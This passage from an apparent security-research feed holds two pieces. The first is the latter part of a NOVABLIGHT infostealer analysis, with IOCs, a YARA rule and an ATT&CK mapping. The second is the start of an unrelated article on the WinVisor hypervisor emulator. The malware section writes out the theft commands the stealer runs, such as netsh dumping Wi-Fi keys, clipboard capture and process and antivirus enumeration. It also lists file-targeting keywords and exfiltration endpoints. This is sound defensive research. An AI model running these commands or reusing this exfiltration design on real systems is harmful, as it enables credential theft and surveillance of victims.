<p>However, the zip file <code>bin.zip</code> contains the compiled code (<a href="https://www.virustotal.com/gui/file/82920f3482c55430361b0cf184abf546fdb32fa079026d6ce1653f4cab49647d/detection">decrypt.exe</a> and <a href="https://www.virustotal.com/gui/file/daa1caa02a95411261aa7ed94762864e6f7bd7aa5fa79dfc9c1f3741d5ef8027">chrome_decrypt.dll</a>) of version 0.11.0 of the Chrome App-bound decrypter PoC project by <a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">xaitax</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt30349d1da38a24a1/6a7c8a5405b7b5cf74185bab/image32.png" alt="Chrome App-Bound Decryption tool by xaitax" title="Chrome App-Bound Decryption tool by xaitax" /></p>
<h3 id="systemenumeration">System enumeration</h3>
<p>Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.</p>
<ul>
<li><code>captureSystemInfo()</code>: Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.  </li>
<li>Output: <code>*configured_path*/System Info.txt</code>  </li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt66f7c7997f10c51f/6a7c8a57de23158ea9fd1f3a/image34.png" alt="Collecting system information" title="Collecting system information" /></p>
<ul>
<li><code>captureScreen()</code>: Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.  </li>
<li>Method: Utilizes the <a href="https://www.npmjs.com/package/screenshot-desktop">screenshot-desktop</a> library.  </li>
<li>Output: A timestamped image file (e.g., <em>configured_path</em>/<em>hostname</em>_2025-10-26_14-30-00.png`).  </li>
<li><code>captureTaskList()</code>: Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.  </li>
<li>Method: Executes the command <code>tasklist /FO CSV /NH</code>.  </li>
<li>Output: <code>*configured_path*/TaskManagerInfo.txt</code> </li>
<li><code>captureAVDetails()</code>: Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.  </li>
<li>Method: Executes the PowerShell command <code>Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List</code></li>
<li>Output: <code>*configured_path*/Avdetails.txt</code> </li>
<li><code>captureClipboardContent()</code>: Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.  </li>
<li>Method: Executes the PowerShell command <code>Get-Clipboard</code>.</li>
<li>Output: <code>*configured_path*/Clipboard.txt</code>  </li>
<li><code>captureWebcamVideo()</code>: Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.  </li>
<li>Method: Leverages the <a href="http://direct-synch-show"><code>direct-synch-show</code></a> library for video capture.  </li>
<li>Output: <code>*configured_path*/Bighead.avi</code> </li>
<li><code>captureWifiPasswords()</code>: Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.  </li>
<li>Method: Executes the command <code>netsh wlan show profile *wifi_ssid* key=clear</code> for each profile.  </li>
<li>Output: <code>*configured_path*/WifiPasswords.txt</code> </li>
<li><code>getFilesUrgents</code>: This functionality exfiltrate files on disk according to a set of keywords as follow: <strong>backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni,</strong> these files are archived as <code>files.zip</code> then sent to the C2.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4e93b8ab85226a36/6a7c8a5a3ce8e2f038cef81d/image28.png" alt="Collecting important files" title="Collecting important files" /></p>
<h3 id="dataexfiltration">Data exfiltration</h3>
<p>There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.</p>
<p>The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdab8c7e9af4aeb05/6a7c8a5cfc63ab0ac764707b/image12.png" alt="Dashboard on the NOVABLIGHT web panel" title="Dashboard on the NOVABLIGHT web panel" /></p>
<p>The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string <code>req</code> in this case <code>https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>.</p>
<p>If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at <code>https://api.telegram[.]org/bot*token*/sendMessage</code>) using a configured userId, chatId and botToken to send the stolen data. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt25afb7803d7c0c58/6a7c8a5fead8ecd7a5ba4a58/image33.png" alt="Data exfiltration channel: Telegram" title="Data exfiltration channel: Telegram" /></p>
<p>Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single  URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltff1d7d374840f036/6a7c8a623ce8e27c81cef825/image19.png" alt="Data exfiltration channel: Discord" title="Data exfiltration channel: Discord" /></p>
<p>NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:</p>
<ul>
<li><code>https://bashupload[.]com</code>  </li>
<li><code>https://litterbox.catbox[.]moe/resources/internals/api.php</code>  </li>
<li><code>https://tmpfiles[.]org/api/v1/upload</code>  </li>
<li><code>https://oshi[.]at/</code>  </li>
<li><code>http://sendfile[.]su/</code>  </li>
<li><code>https://wsend[.]net</code>  </li>
<li><code>https://api.gofile[.]io/servers</code>  </li>
<li><code>https://gofile[.]io/uploadFiles</code>  </li>
<li><code>https://rdmfile[.]eu/api/upload</code>  </li>
<li><code>https://bamboulacity.nova-blight[.]xyz/file/</code></li>
</ul>
<h3 id="targeteddata">Targeted data</h3>
<p>NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub <a href="https://gist.github.com/jiayuchann/4a27afce5be67dd73edb9c4b9a6de1f9">Gist</a>.</p>
<h2 id="obfuscationtechniques">Obfuscation techniques</h2>
<h3 id="arraymapping">Array mapping</h3>
<p>The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array <code>__p_6Aeb_dlrArray</code> with values of different types and encoding, which accounts for nearly all literal values used in the script. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt583d7098d35db78e/6a7c8a65b4377052bd4d1136/image4.png" alt="Main global array used for value lookups" title="Main global array used for value lookups" /></p>
<p>After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4a7c988f9455639f/6a7c8a67bdcff08326c3d1e7/image24.png" alt="Results after fixing array mapping for &lt;code&gt;__p_6Aeb_dlrArray&lt;/code&gt;" title="Results after fixing array mapping for &lt;code&gt;__p_6Aeb_dlrArray&lt;/code&gt;" /></p>
<h3 id="stringencoding">String encoding</h3>
<p>The second technique used to hide strings is the usage of base91 encoding. The function wrapper <code>__p_xIFu_MAIN_STR</code> is called with an integer argument.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ab7a8e3302738d9/6a7c8a6a9f5251348566412a/image10.png" alt="Obfuscated strings" title="Obfuscated strings" /></p>
<p>The integer is an index of a secondary array mapping <code>__p_9sMm_array</code> that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine <code>__p_xIFu_MAIN_STR_decode</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta69d2ab093c6d937/6a7c8a6de3a2196336999833/image9.png" alt="Global array used for lookup by &lt;code&gt;__p_xIFu_MAIN_STR&lt;/code&gt;" title="Global array used for lookup by &lt;code&gt;__p_xIFu_MAIN_STR&lt;/code&gt;" /></p>
<p><code>__p_xIFu_MAIN_STR_decode</code> will then decode it using a custom alphabet:<br />
<code>vFAjbQox\&gt;5?4K$m=83GYu.nBIh\&lt;drPaN\^@%Hk:D_sSyz"ER9/p,(*JwtfO)iUl&amp;C\[~\}\{|Z+gX1MqL;60!e]T#2cVW7</code> and return the decoded string.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1e427cf267a93c3f/6a7c8a706c6eac5f26f0e4ce/image26.png" alt="Main logic for string decoding" title="Main logic for string decoding" /></p>
<h3 id="accesspatternobfuscation">Access pattern obfuscation</h3>
<p>Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns. </p>
<p>For example, the function <code>__p_LQ1f_flat_…</code> is passed a flat object <code>__p_w3Th_flat_object</code>. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (<code>__p_jGTR_dispatcher_26</code>). Throughout the code, there is a pattern where the property names start with <code>empretecerian.js</code>, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6a974a51c9b74a50/6a7c8a73de23154130fd1f42/image29.png" alt="Example pattern for flattened object" title="Example pattern for flattened object" /></p>
<h3 id="controlflowobfuscation">Control flow obfuscation</h3>
<p>Some of the code’s execution path is routed through a central dispatcher,  <code>__p_jGTR_dispatcher_26</code>, in which the first argument name takes a short ID string.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt83a6c108ae4bdca9/6a7c8a7677b03447073f96c1/image7.png" alt="The main dispatcher’s function signature" title="The main dispatcher’s function signature" /></p>
<p>Each ID is mapped to a distinct function. For example, the ID <code>jgqatJ</code> is referenced by the <code>modules/init/Troll.js</code> module and it is responsible for a “troll” popup message box.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt243084d09d0034f1/6a7c8a7833fa8a95651fca76/image14.png" alt="Mapping function ID to the actual function" title="Mapping function ID to the actual function" /></p>
<h3 id="proxyvariables">Proxy variables</h3>
<p>First, the obfuscation transforms function syntax to “<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters syntax</a>” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function <code>__p_xIFu_MAIN_STR_decode</code> is not called with direct parameters. Instead, its arguments are first placed into the <code>__p_A5wG_varMask</code> array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index <code>-36</code> of the array stores the index of the character "c" in a string stored in <code>__p_A5wG_varMask[171]</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt852509a8644dd61a/6a7c8a7cc2cc0924bb2434e2/image3.png" alt="Function utilizing rest parameters" title="Function utilizing rest parameters" /></p>
<h2 id="novablightandmitreattck">NOVABLIGHT and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1125/">Video Capture</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1531/">Account Access Removal</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">Credentials from Password Stores: Credentials from Web Browsers</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.  </p>
<p>Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.</p>
<h2 id="detectingnovablight">Detecting NOVABLIGHT</h2>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<p>```yara<br />
rule Windows_Infostealer_NovaBlight {
    meta:
        author = "Elastic Security"
        creation_date = "2025-07-18"
        last_modified = "2025-07-28"
        os = "Windows"
        arch = "x86"
        category_type = "Infostealer"
        family = "NovaBlight"
        threat_name = "Windows.Infostealer.NovaBlight"
        reference_sample = "d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73"</p>
<pre><code>strings:
    $a1 = "C:\\Users\\Administrateur\\Desktop\\Nova\\"
    $a2 = "[+] Recording..." fullword
    $a3 = "[+] Capture start" fullword
condition:
    all of them
</code></pre>
<p>}
```</p>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| <code>ed164ee2eacad0eea9dc4fbe271ee2b2387b59929d73c843281a8d5e94c05d64</code> | SHA-256 |  | NOVABLIGHT VERSION 2.2 |
| <code>39f09771d70e96c7b760b3b6a30a015ec5fb6a9dd5bc1e2e609ddf073c2c853d</code> | SHA-256 |  | NOVABLIGHT VERSION 2.1 |
| <code>97393c27195c58f8e4acc9312a4c36818fe78f2ddce7ccba47f77a5ca42eab65</code> | SHA-256 |  | NOVABLIGHT VERSION 2.0 |
| <code>api.nova-blight[.]top</code> | DOMAIN |  | NOVABLIGHT dashboard |
| <code>shadow.nova-blight[.]top</code> | DOMAIN |  | NOVABLIGHT dashboard |
| <code>nova-blight[.]site</code> | DOMAIN |  | NOVABLIGHT dashboard |
| <code>nova-blight[.]xyz</code> | DOMAIN |  | NOVABLIGHT dashboard |
| <code>bamboulacity.nova-blight[.]xyz</code> | DOMAIN |  | NOVABLIGHT dashboard |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.gatewatcher.com/lab/groupe-nova-sentinel/">https://www.gatewatcher.com/lab/groupe-nova-sentinel/</a>  </li>
<li><a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/maas-appeal-an-infostealer-rises-from-the-ashes</link>
    <guid isPermaLink="false">maas-appeal-an-infostealer-rises-from-the-ashes</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Jia Yu Chan,Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta3619571746e2405/6a7c8a7f437e0f713ddd571b/Security_Labs_Images_7.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[WinVisor – A hypervisor-based emulator for Windows x64 user-mode executables]]></title>
    <description><![CDATA[WinVisor is a hypervisor-based emulator for Windows x64 user-mode executables that leverages the Windows Hypervisor Platform API to provide a virtualized environment for logging syscalls and enabling memory introspection.]]></description>
    <content:encoded><![CDATA[<h2 id="background">Background</h2>
<p>In Windows 10 (version RS4), Microsoft introduced the <a href="https://learn.microsoft.com/en-us/virtualization/api/hypervisor-platform/hypervisor-platform">Windows Hypervisor Platform</a> (WHP) API. This API exposes Microsoft's built-in hypervisor functionality to user-mode Windows applications. In 2024, the author used this API to create a personal project: a 16-bit MS-DOS emulator called <a href="https://github.com/x86matthew/DOSVisor">DOSVisor</a>. As mentioned in the release notes, there have always been plans to take this concept further and use it to emulate Windows applications. Elastic provides a research week (ON Week) twice per year for staff to work on personal projects, providing a great opportunity to begin working on this project. This project will be (unimaginatively) named WinVisor, inspired by its DOSVisor predecessor.</p>
<p>Hypervisors provide hardware-level virtualization, eliminating the need to emulate the CPU via software. This ensures that instructions are executed exactly as they would be on a physical CPU, whereas software-based emulators often behave inconsistently in edge cases.</p>
<p>This project aims to build a virtual environment for executing Windows x64 binaries, allowing syscalls to be logged (or hooked) and enabling memory introspection. The goal of this project is not to build a comprehensive and secure sandbox - by default, all syscalls will simply be logged and forwarded directly to the host. In its initial form, it will be trivial for code running within the virtualized guest to "escape" to the host. Safely securing a sandbox is a difficult task, and is beyond the scope of this project. The limitations will be described in further detail at the end of the article.</p>
<p>Despite having been available for 6 years (at the time of writing), it seems that the WHP API hasn’t been used in many public projects other than complex codebases such as <a href="https://github.com/qemu/qemu">QEMU</a> and <a href="https://www.virtualbox.org/">VirtualBox</a>. One other notable project is Alex Ionescu's <a href="https://github.com/ionescu007/Simpleator">Simpleator</a> - a lightweight Windows user-mode emulator that also utilizes the WHP API. This project has many of the same goals as WinVisor, although the approach for implementation is quite different. The WinVisor project aims to automate as much as possible and support simple executables (e.g. <code>ping.exe</code>) universally out of the box.</p>
<p>This article will cover the general design of the project, some of the issues that were encountered, and how they were worked through. Some features will be limited due to development time constraints, but the final product will at least be a usable proof-of-concept. Links to the source code and binaries hosted on GitHub will be provided at the end of the article.</p>
<h3 id="hypervisorbasics">Hypervisor basics</h3>
<p>Hypervisors are powered by VT-x (Intel) and AMD-V (AMD) extensions. These hardware-assisted frameworks enable virtualization by allowing one or more virtual machines to run on a single physical CPU. These extensions use different instruction sets and, therefore, are not inherently compatible with each other; separate code must be written for each.</p>
<p>Internally, Hyper-V uses <code>hvix64.exe</code> for Intel support and <code>hvax64.exe</code> for AMD support. Microsoft's WHP API abstracts these hardware differences, allowing applications to create and manage virtual partitions regardless of the underlying CPU type. For simplicity, the following explanation will focus solely on VT-x.</p>
<p>VT-x adds an additional set of instructions known as VMX (Virtual Machine Extensions), containing instructions such as <code>VMLAUNCH</code>, which begins the execution of a VM for the first time, and <code>VMRESUME</code>, which re-enters the VM after a VM exit. A VM exit occurs when certain conditions are triggered by the guest, such as specific instructions, I/O port access, page faults, and other exceptions. </p>
<p>Central to VMX is the Virtual Machine Control Structure (VMCS), a per-VM data structure that stores the state of the guest and host contexts as well as information about the execution environment. The VMCS contains fields that define processor state, control configurations, and optional conditions that trigger transitions from the guest back to the host. VMCS fields can be read or written to using the <code>VMREAD</code> and <code>VMWRITE</code> instructions.</p>
<p>During a VM exit, the processor saves the guest state in the VMCS and transitions back to the host state for hypervisor intervention.</p>
<h2 id="winvisoroverview">WinVisor overview</h2>
<p>This project takes advantage of the high-level nature of the WHP API. The API exposes hypervisor functionality to user-mode and allows applications to map virtual memory from the host process directly into the guest's physical memory.</p>
<p>The virtual CPU operates almost exclusively in CPL3 (user-mode), except for a small bootloader that runs at CPL0 (kernel-mode) to initialize the CPU state before execution. This will be described in further detail in the Virtual CPU section.</p>
<p>Building up the memory space for an emulated guest environment involves mapping the target executable and all DLL dependencies, followed by populating other internal data structures such as the Process Environment Block (PEB), Thread Environment Block (TEB), <code>KUSER_SHARED_DATA</code>, etc.</p>
<p>Mapping the EXE and DLL dependencies is straightforward, but accurately maintaining internal structures, such as the PEB, is a more complex task. These structures are large, mostly undocumented, and their contents can vary between Windows versions. It would be relatively simple to populate a minimalist set of fields to execute a simple "Hello World" application, but an improved approach should be taken to provide good compatibility.</p>
<p>Instead of manually building up a virtual environment, WinVisor launches a suspended instance of the target process and clones the entire address space into the guest. The Import Address Table (IAT) and Thread Local Storage (TLS) data directories are temporarily removed from the PE headers in memory to stop DLL dependencies from loading and to prevent TLS callbacks from executing before reaching the entry point. The process is then resumed, allowing the usual process initialization to continue (<code>LdrpInitializeProcess</code>) until it reaches the entry point of the target executable, at which point the hypervisor launches and takes control. This essentially means that Windows has done all of the hard work for us, and we now have a pre-populated user-mode address space for the target executable that is ready for execution.</p>
<p>A new thread is then created in a suspended state, with the start address pointing to the address of a custom loader function. This function populates the IAT, executes TLS callbacks, and finally executes the original entry point of the target application. This essentially simulates what the main thread would do if the process were being executed natively. The context of this thread is then "cloned" into the virtual CPU, and execution begins under the control of the hypervisor.</p>
<p>Memory is paged into the guest as necessary, and syscalls are intercepted, logged, and forwarded to the host OS until the virtualized target process exits.</p>
<p>As the WHP API only allows memory from the current process to be mapped into the guest, the main hypervisor logic is encapsulated within a DLL that gets injected into the target process.</p>
<h2 id="virtualcpu">Virtual CPU</h2>
<p>The WHP API provides a "friendly" wrapper around the VMX functionality described earlier, meaning that the usual steps, such as manually populating the VMCS before executing <code>VMLAUNCH</code>,  are no longer necessary. It also exposes the functionality to user-mode, meaning a custom driver is not required. However, the virtual CPU must still be initialized appropriately via WHP prior to executing the target code. The important aspects will be described below.</p>
<h3 id="controlregisters">Control registers</h3>
<p>Only the <code>CR0</code>, <code>CR3</code>, and <code>CR4</code> control registers are relevant for this project. <code>CR0</code> and <code>CR4</code> are used to enable CPU configuration options such as protected mode, paging, and PAE. <code>CR3</code> contains the physical address of the <code>PML4</code> paging table, which will be described in further detail in the Memory Paging section.</p>
<h3 id="modelspecificregisters">Model-specific registers</h3>
<p>Model-Specific Registers (MSRs) must also be initialized to ensure the correct operation of the virtual CPU. <code>MSR_EFER</code> contains flags for extended features, such as enabling long mode (64-bit) and <code>SYSCALL</code> instructions. <code>MSR_LSTAR</code> contains the address of the syscall handler, and <code>MSR_STAR</code> contains the segment selectors for transitioning to CPL0 (and back to CPL3) during syscalls. <code>MSR_KERNEL_GS_BASE</code> contains the shadow base address of the <code>GS</code> selector.</p>
<h3 id="globaldescriptortable">Global descriptor table</h3>
<p>The Global Descriptor Table (GDT) defines the segment descriptors, which essentially describe memory regions and their properties for use in protected mode.</p>
<p>In long mode, the GDT has limited use and is mostly a relic of the past - x64 always operates in a flat memory mode, meaning all selectors are based at <code>0</code>. The only exceptions to this are the <code>FS</code> and <code>GS</code> registers, which are used for thread-specific purposes. Even in those cases, their base addresses are not defined by the GDT. Instead, MSRs (such as <code>MSR_KERNEL_GS_BASE</code> described above) are used to store the base address.</p>
<p>Despite this obsolescence, the GDT is still an important part of the x64 model. For example, the current privilege level is defined by the <code>CS</code> (Code Segment) selector.</p>
<h3 id="taskstatesegment">Task state segment</h3>
<p>In long mode, the Task State Segment (TSS) is simply used to load the stack pointer when transitioning from a lower privilege level to a higher one. As this emulator operates almost exclusively in CPL3, except for the initial bootloader and interrupt handlers, only a single page is allocated for the CPL0 stack. The TSS is stored as a special system entry within the GDT and occupies two slots.</p>
<h3 id="interruptdescriptortable">Interrupt descriptor table</h3>
<p>The Interrupt Descriptor Table (IDT) contains information about each type of interrupt, such as the handler addresses. This will be described in further detail in the Interrupt Handling section.</p>
<h3 id="bootloader">Bootloader</h3>
<p>Most of the CPU fields mentioned above can be initialized using WHP wrapper functions, but support for certain fields (e.g. <code>XCR0</code>) only arrived in later versions of the WHP API (Windows 10 RS5). For completeness, the project includes a small “bootloader”, which runs at CPL0 upon startup and manually initializes the final parts of the CPU prior to executing the target code. Unlike a physical CPU, which would start in 16-bit real mode, the virtual CPU has already been initialized to run in long-mode (64-bit), making the boot process slightly more straightforward. </p>
<p>The following steps are performed by the bootloader:</p>
<ol>
<li><p>Load the GDT using the <code>LGDT</code> instruction. The source operand for this instruction specifies a 10-byte memory block which contains the base address and limit (size) of the table that was populated earlier.</p></li>
<li><p>Load the IDT using the <code>LIDT</code> instruction. The source operand for this instruction uses the same format as LGDT described above.</p></li>
<li><p>Set the TSS selector index into the task register using the <code>LTR</code> instruction. As mentioned above, the TSS descriptor exists as a special entry within the GDT (at <code>0x40</code> in this case).</p></li>
<li><p>The XCR0 register can be set using the <code>XSETBV</code> instruction. This is an additional control register which is used for optional features such as AVX. The native process executes XGETBV to get the host value, which is then copied into the guest via <code>XSETBV</code> in the bootloader. </p></li>
</ol>
<p>This is an important step because DLL dependencies that have already been loaded may have set global flags during their initialization process. For example, <code>ucrtbase.dll</code> checks if the CPU supports AVX via the <code>CPUID</code> instruction on startup and, if so, sets a global flag to allow the CRT to use AVX instructions for optimization reasons. If the virtual CPU attempts to execute these AVX instructions without explicitly enabling them in <code>XCR0</code> first, an undefined instruction exception will be raised.</p>
<ol>
<li><p>Manually update <code>DS</code>, <code>ES</code>, and <code>GS</code> data segment selectors to their CPL3 equivalents (<code>0x2B</code>). Execute the <code>SWAPGS</code> instruction to load the TEB base address from <code>MSR_KERNEL_GS_BASE</code>.</p></li>
<li><p>Finally, use the <code>SYSRET</code> instruction to transition into CPL3. Prior to the <code>SYSRET</code> instruction, <code>RCX</code> is set to a placeholder address (CPL3 entry point), and <code>R11</code> is set to the initial CPL3 RFLAGS value (<code>0x202</code>). The <code>SYSRET</code> instruction automatically switches the <code>CS</code> and <code>SS</code> segment selectors to their CPL3 equivalents from <code>MSR_STAR</code>.  </p></li>
</ol>
<p>When the <code>SYSRET</code> instruction executes, a page fault will be raised due to the invalid placeholder address in <code>RIP</code>. The emulator will catch this page fault and recognize it as a “special” address. The initial CPL3 register values will then be copied into the virtual CPU, <code>RIP</code> is updated to point to a custom user-mode loader function, and execution resumes. This function loads all DLL dependencies for the target executable, populates the IAT table, executes TLS callbacks, and then executes the original entry point. The import table and TLS callbacks are handled at this stage, rather than earlier on, to ensure their code is executed within the virtualized environment.</p>
<h2 id="memorypaging">Memory paging</h2>
<p>All memory management for the guest must be handled manually. This means a paging table must be populated and maintained, allowing the virtual CPU to translate a virtual address to a physical address.</p>
<h3 id="virtualaddresstranslation">Virtual address translation</h3>
<p>For those who are not familiar with paging in x64, the paging table has four levels: <code>PML4</code>, <code>PDPT</code>, <code>PD</code>, and <code>PT</code>. For any given virtual address, the CPU walks through each layer of the table, eventually reaching the target physical address. Modern CPUs also support 5-level paging (in case the 256TB of addressable memory offered by 4-level paging isn't enough!), but this is irrelevant for the purposes of this project.</p>
<p>The following image illustrates the format of a sample virtual address:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8395cb82e1f86956/6a7d870fc2cc094e2f24670b/5WT-image.png" alt="Breakdown of an example virtual address" title="Breakdown of an example virtual address" /></p>
<p>Using the example above, the CPU would calculate the physical page corresponding to the virtual address <code>0x7FFB7D030D10</code> via the following table entries: <code>PML4[0xFF]</code> -&gt; <code>PDPT[0x1ED]</code> -&gt; <code>PD[0x1E8]</code> -&gt; <code>PT[0x30]</code>. Finally, the offset (<code>0xD10</code>) will be added to this physical page to calculate the exact address.</p>
<p>Bits <code>48</code> - <code>63</code> within a virtual address are unused in 4-level paging and are essentially sign-extended to match bit <code>47</code>.</p>
<p>The <code>CR3</code> control register contains the physical address of the base <code>PML4</code> table. When paging is enabled (mandatory in long-mode), all other addresses within the context of the CPU refer to virtual addresses.</p>
<h3 id="pagefaults">Page faults</h3>
<p>When the guest attempts to access memory, the virtual CPU will raise a page fault exception if the requested page isn't already present in the paging table. This will trigger a VM Exit event and pass control back to the host. When this occurs, the <code>CR2</code> control register contains the requested virtual address, although the WHP API already provides this value within the VM Exit context data. The host can then map the requested page into memory (if possible) and resume execution or throw an error if the target address is invalid.</p>
<h3 id="hostguestmemorymirroring">Host/guest memory mirroring</h3>
<p>As mentioned earlier, the emulator creates a child process, and all virtual memory within that process will be mapped directly into the guest using the same address layout. The Hypervisor Platform API allows us to map virtual memory from the host user-mode process directly into the physical memory of the guest. The paging table will then map virtual addresses to the corresponding physical pages.</p>
<p>Instead of mapping the entire address space of the process upfront, a fixed number of physical pages are allocated for the guest. The emulator contains a very basic memory manager, and pages are mapped "on demand." When a page fault occurs, the requested page will be paged in, and execution resumes. If all page "slots" are full, the oldest entry is swapped out to make room for the new one.</p>
